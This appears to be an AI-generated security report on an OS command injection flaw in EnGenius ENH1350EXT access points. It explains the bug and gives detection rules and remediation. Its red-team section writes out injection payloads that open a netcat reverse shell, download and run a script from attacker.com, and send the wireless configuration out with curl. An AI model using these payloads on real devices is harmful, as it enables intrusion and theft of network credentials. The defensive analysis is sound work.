CVE-2024-45242

Executive Summary

CVE-2024-45242 is a critical blind OS Command Injection vulnerability affecting EnGenius ENH1350EXT wireless access points (model A8J-ENH1350EXT) running firmware versions up to and including 3.9.3.2_c1.9.51. The vulnerability resides in the Ping and Speed Test utilities, which fail to sanitize user-supplied input, allowing an unauthenticated attacker within Wi-Fi range to inject arbitrary shell commands via shell metacharacters. The attack is further facilitated by the device's default behavior of broadcasting an open, unsecured Wi-Fi network during initial setup, with the admin panel configured using default credentials (admin/admin). Successful exploitation grants root-level command execution on the device, enabling full compromise, lateral movement within the network, and potential data exfiltration.

This vulnerability is particularly dangerous due to the lack of authentication required for exploitation and the default open network, which exposes the device to any attacker within physical proximity. The vendor has not released a patch, and the vulnerability remains unpatched at the time of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 9.0 (Critical)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network (A) – Exploitation requires network access from the same Wi-Fi network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full device compromise leads to data exposure.
• Integrity (I): High (H) – Attacker can modify device configuration and firmware.
• Availability (A): High (H) – Attacker can disrupt device operation or render it unusable.

Threat Level: Critical. The combination of default open network, default credentials, and unauthenticated command injection makes this a high-priority threat for any organization using these devices.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78) in the Ping and Speed Test utilities of the EnGenius ENH1350EXT web interface. The device's web server does not properly sanitize user input before passing it to a shell command. For example, the Ping utility likely executes a command similar to:

ping -c 4 <user_input>

An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands. For instance, sending a payload like 127.0.0.1; id would result in the execution of:

ping -c 4 127.0.0.1; id

The id command would then be executed with root privileges, as the web server runs with elevated permissions.

The attack surface is expanded by the device's default behavior: during initial setup, the device creates an open, unsecured Wi-Fi network. The admin panel is accessible via this network and is protected only by default credentials (admin/admin). An attacker within Wi-Fi range can connect to this open network, access the admin panel, and exploit the command injection vulnerability without any authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

The vulnerable code likely resides in a CGI script or PHP file handling the Ping/Speed Test functionality. A simplified example:

<?php
$ip = $_POST['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo $output;
?>

Patched Code (Conceptual):

A patched version would sanitize the input by escaping shell metacharacters or using a dedicated function that does not invoke a shell. For example:

<?php
$ip = $_POST['ip'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo $output;
} else {
    echo "Invalid IP address.";
}
?>

The escapeshellarg() function wraps the input in single quotes and escapes any single quotes within, preventing shell injection. Alternatively, using exec() with an array of arguments (e.g., exec(['ping', '-c', '4', $ip], $output)) would also prevent shell interpretation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable EnGenius ENH1350EXT device (firmware <= 3.9.3.2_c1.9.51)
• A wireless adapter capable of connecting to the device's open network
• Basic knowledge of command injection

Steps:

1. Connect to the open Wi-Fi network broadcast by the device during initial setup.
2. Access the admin panel at http://192.168.1.1 (default IP) using credentials admin/admin.
3. Navigate to the Ping or Speed Test utility (typically under "Tools" or "Diagnostics").
4. Inject a command in the IP address field. For example, to spawn a reverse shell:

   127.0.0.1; nc -e /bin/sh <attacker_ip> 4444
   

5. Start a listener on the attacker machine:

   nc -lvnp 4444
   

6. Execute the Ping test to trigger the command injection. The reverse shell will connect back to the attacker.

Alternative Payloads:

• Download and execute a payload:

  127.0.0.1; wget http://attacker.com/payload.sh -O /tmp/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh
  

• Exfiltrate configuration:

  127.0.0.1; cat /etc/config/wireless > /tmp/wifi.txt && curl -X POST http://attacker.com/exfil --data-binary @/tmp/wifi.txt
  

Blue Team (Defensive)

Detection and Response:

1. Monitor for anomalous network traffic from the device, especially outbound connections to unknown IPs on unusual ports (e.g., 4444).
2. Check device logs for suspicious entries in the Ping/Speed Test history (if available).
3. Implement network segmentation to isolate IoT devices like access points from critical systems.
4. Use a WAF or IDS to detect command injection attempts in HTTP requests to the device's web interface.
5. Deploy honeypots mimicking the vulnerable device to detect scanning and exploitation attempts.

Lab Setup for Testing:

• Hardware: EnGenius ENH1350EXT (or a virtualized instance using firmware emulation with QEMU)
• Software: Kali Linux (attacker), Wireshark (traffic analysis), Metasploit (optional)
• Network: Isolated lab network with the device connected to a switch and the attacker machine on the same Wi-Fi network.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/ping.cgi or similar endpoints with payloads containing shell metacharacters (;, |, &, `)
• Outbound connections from the device to external IPs on non-standard ports (e.g., 4444, 1337)
• DNS queries to suspicious domains (e.g., attacker-controlled domains)

Host IOCs (on the device):

• Unusual processes running (e.g., nc, bash, wget)
• Modified or new files in /tmp/ or /var/run/
• Changes to device configuration (e.g., new admin users, modified firewall rules)
• Log entries showing failed authentication attempts followed by successful command execution

File IOCs:

• Presence of scripts in /tmp/ with names like payload.sh, exploit.sh
• Modified /etc/passwd or /etc/shadow files

Detection Engineering

YARA Rule

rule CVE_2024_45242_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting EnGenius ENH1350EXT Ping/Speed Test"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45242"
        severity = "critical"
    strings:
        $ping_endpoint = "/cgi-bin/ping.cgi" ascii wide nocase
        $speedtest_endpoint = "/cgi-bin/speedtest.cgi" ascii wide nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "`" ascii
        $cmd_id = "id" ascii wide nocase
        $cmd_nc = "nc" ascii wide nocase
        $cmd_wget = "wget" ascii wide nocase
        $cmd_curl = "curl" ascii wide nocase
    condition:
        any of ($ping_endpoint, $speedtest_endpoint) and
        any of ($shell_meta*) and
        any of ($cmd*)
}

Sigma Rule

title: CVE-2024-45242 EnGenius ENH1350EXT Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to EnGenius ENH1350EXT Ping/Speed Test endpoints containing shell metacharacters
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45242
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/cgi-bin/ping.cgi'
            - '/cgi-bin/speedtest.cgi'
        cs-uri-query|re:
            - '.*[;|&`].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP addresses (unlikely)
level: critical
tags:
    - attack.t1190
    - cve.2024.45242

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45242 EnGenius ENH1350EXT Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/ping.cgi"; http_uri; content:";"; http_client_body; pcre:"/(?:;|\||&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the open Wi-Fi network during initial setup by configuring a secure SSID and WPA2/3 encryption immediately after power-on.
2. Change default credentials (admin/admin) to a strong, unique password.
3. Isolate the device on a separate VLAN with strict firewall rules limiting outbound connections.
4. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fixes:

• Vendor Patch: Contact EnGenius for a firmware update. If unavailable, consider replacing the device with a patched alternative.
• Workaround: If the device cannot be replaced, disable the Ping and Speed Test utilities via the admin panel (if possible) or block access to the web interface from untrusted networks.
• Network Segmentation: Place all IoT devices behind a firewall with egress filtering to prevent command-and-control communication.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.